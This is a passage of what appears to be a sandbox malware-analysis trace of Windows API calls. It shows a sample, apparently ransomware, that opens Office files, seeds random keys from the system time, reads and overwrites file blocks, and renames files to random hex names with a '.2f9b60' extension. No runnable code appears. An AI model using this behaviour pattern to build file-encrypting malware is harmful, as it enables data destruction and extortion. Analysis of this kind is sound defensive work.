0x1b7d7fc0 [0161.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0161.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0161.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a33b0 [0161.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a33b0) returned 1 [0161.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7f00 [0161.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a33b0 [0161.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a33e0 [0161.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a33e0) returned 1 [0161.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0161.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0161.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x1ce13e50 [0161.099] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.099] WriteFile (hFile=0x1a68, lpBuffer=0x1ce13e50, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1f80f670, lpOverlapped=0x0) [0199.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0199.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0199.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265c40 [0199.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265c40) returned 1 [0199.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20265c40 [0199.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265c10 [0199.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265bb0 [0199.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265bb0) returned 1 [0199.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0199.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0199.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0199.504] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="f3") returned 2 [0199.504] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="1f") returned 2 [0199.504] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="5d") returned 2 [0199.504] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="60") returned 2 [0199.504] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="32") returned 2 [0199.504] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="b7") returned 2 [0199.504] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="9b") returned 2 [0199.504] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="82") returned 2 [0199.504] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="33") returned 2 [0199.504] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="67") returned 2 [0199.504] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="96") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="25") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="c2") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="cc") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="14") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="ef") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="84") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="e6") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="73") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="17") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="e4") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="84") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="df") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="de") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="0b") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="9b") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="38") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="0e") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="ff") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="41") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="35") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="55") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="e9") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="e1") returned 2 [0199.505] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="37") returned 2 [0199.506] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="d5") returned 2 [0199.506] RtlInitAnsiString (in: DestinationString=0x1f80f6e8, SourceString="f31f5d6032b79b8233679625c2cc14efc784e67317e484dfde0b9b380eff413555c3e9e137d5" | out: DestinationString="f31f5d6032b79b8233679625c2cc14efc784e67317e484dfde0b9b380eff413555c3e9e137d5") [0199.506] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f80f6b8, SourceString="f31f5d6032b79b8233679625c2cc14efc784e67317e484dfde0b9b380eff413555c3e9e137d5", AllocateDestinationString=1 | out: DestinationString="f31f5d6032b79b8233679625c2cc14efc784e67317e484dfde0b9b380eff413555c3e9e137d5") returned 0x0 [0199.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f2ca0 [0199.506] wcscat (in: _Dest=0x205077d0, _Source="f31f5d6032b79b82336" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336" [0199.506] wcscat (in: _Dest=0x205077d0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336.2f9b60" [0199.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336.2f9b60", NtPathName=0x1f80f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f31f5d6032b79b82336.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106880 Thread: id = 1688 os_tid = 0x1bf4 [0130.373] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll")) returned 0x2020 [0130.388] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.389] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a6c [0130.390] GetFileSizeEx (in: hFile=0x1a6c, lpFileSize=0x1f5bf7e0 | out: lpFileSize=0x1f5bf7e0*=31584) returned 1 [0130.390] SetFilePointerEx (in: hFile=0x1a6c, liDistanceToMove=0x7b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.390] ReadFile (in: hFile=0x1a6c, lpBuffer=0x1f5bf760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f5bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x1f5bf760*, lpNumberOfBytesRead=0x1f5bf7a8*=0x4, lpOverlapped=0x0) returned 1 [0130.396] SetFilePointerEx (in: hFile=0x1a6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265bb0 [0130.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265be0 [0130.396] NtQuerySystemTime (in: CurrentTime=0x1f5bf6a0 | out: CurrentTime=0x1f5bf6a0*=132462177356338000) returned 0x0 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x35297874 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x20c0cb47 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x2868d1d7 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x4b2fd9fa [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x6a27fb2b [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x2441e1e8 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x53c67b00 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x7e9bfc40 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x5de45fd1 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x2f8de233 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x4c4acaa9 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x18182f62 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x23abfed5 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x2c3405e8 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x11d1132c [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x7f9dea89 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x71d77e0b [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x571d5fee [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x60dc8e4f [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x114e4e66 [0130.396] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x3e3d2160 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x25364f6f [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x7ecb2ba6 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x7fc77ac2 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x487c7752 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x50c8e146 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x20a836ca [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x7826d06f [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x5e8d2300 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x23a3da45 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x31d4458 [0130.397] RtlRandomEx (in: Seed=0x1f5bf690 | out: Seed=0x1f5bf690) returned 0x1d596b8e [0130.405] SetFilePointerEx (in: hFile=0x1a6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.405] ReadFile (in: hFile=0x1a6c, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f5bf700, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x1f5bf700*=0x3c00, lpOverlapped=0x0) returned 1 [0130.411] SetFilePointerEx (in: hFile=0x1a6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7430 [0130.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7430) returned 1 [0130.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d0130 [0130.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7430 [0130.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0130.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e00) returned 1 [0130.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.413] WriteFile (in: hFile=0x1a6c, lpBuffer=0x202d0130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f5bf700, lpOverlapped=0x0 | out: lpBuffer=0x202d0130*, lpNumberOfBytesWritten=0x1f5bf700*=0x3c00, lpOverlapped=0x0) returned 1 [0161.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d0130) returned 1 [0161.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c4d00) returned 1 [0161.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8380 [0161.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0161.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3800 [0161.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3800) returned 1 [0161.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d69c0 [0161.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3800 [0161.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3830 [0161.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3830) returned 1 [0161.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0161.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x1ce143f0 [0161.143] SetFilePointerEx (in: hFile=0x1a6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.144] WriteFile (hFile=0x1a6c, lpBuffer=0x1ce143f0, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x1f5bf7b0, lpOverlapped=0x0) [0199.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0199.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0199.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e70 [0199.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e70) returned 1 [0199.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262e70 [0199.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0199.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0199.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0199.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0199.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0199.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b859390 [0199.496] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="37") returned 2 [0199.496] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="1b") returned 2 [0199.496] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="7e") returned 2 [0199.496] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="94") returned 2 [0199.496] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="15") returned 2 [0199.496] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="58") returned 2 [0199.496] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="39") returned 2 [0199.497] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="46") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="96") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="c0") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="11") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="fd") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="92") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="77") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="d4") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="fc") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="5c") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="f7") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="58") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="e3") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="89") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="9e") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="80") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="cf") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="3c") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="10") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="34") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="ab") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="56") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="5d") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="f1") returned 2 [0199.497] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="4d") returned 2 [0199.498] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="e1") returned 2 [0199.498] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="54") returned 2 [0199.498] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="7e") returned 2 [0199.498] RtlInitAnsiString (in: DestinationString=0x1f5bf828, SourceString="371b7e941558394696c0114bfd9277d4fc5cf758e3899e80cf3c1034ab565df14de1547e" | out: DestinationString="371b7e941558394696c0114bfd9277d4fc5cf758e3899e80cf3c1034ab565df14de1547e") [0199.498] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f5bf7f8, SourceString="371b7e941558394696c0114bfd9277d4fc5cf758e3899e80cf3c1034ab565df14de1547e", AllocateDestinationString=1 | out: DestinationString="371b7e941558394696c0114bfd9277d4fc5cf758e3899e80cf3c1034ab565df14de1547e") returned 0x0 [0199.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507e10 [0199.499] wcscat (in: _Dest=0x20509350, _Source="371b7e941558394696" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696" [0199.499] wcscat (in: _Dest=0x20509350, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696.2f9b60" [0199.499] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696.2f9b60", NtPathName=0x1f5bf7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\371b7e941558394696.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x42c2b7d0 Thread: id = 1689 os_tid = 0x1bf8 [0130.395] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll")) returned 0x2020 [0130.407] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.408] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a70 [0130.408] GetFileSizeEx (in: hFile=0x1a70, lpFileSize=0x1df6fb80 | out: lpFileSize=0x1df6fb80*=260960) returned 1 [0130.408] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x3fb5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.409] ReadFile (in: hFile=0x1a70, lpBuffer=0x1df6fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1df6fb48, lpOverlapped=0x0 | out: lpBuffer=0x1df6fb00*, lpNumberOfBytesRead=0x1df6fb48*=0x4, lpOverlapped=0x0) returned 1 [0130.415] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0130.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6140 [0130.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0130.415] NtQuerySystemTime (in: CurrentTime=0x1df6fa40 | out: CurrentTime=0x1df6fa40*=132462177356494000) returned 0x0 [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x761a1c4b [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x4c27a63d [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x3c6d52fe [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x4ee76a63 [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x7e7988bc [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x6ac437c4 [0130.415] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x764722d8 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x446eedc1 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x622e69f0 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x133b3dcc [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x61147538 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x4e4caadc [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x69c7cab2 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x54e55bf6 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x47f9c0ec [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x76e8acbf [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x2eff8c83 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x412d6e10 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x25b65b65 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x558d60e [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 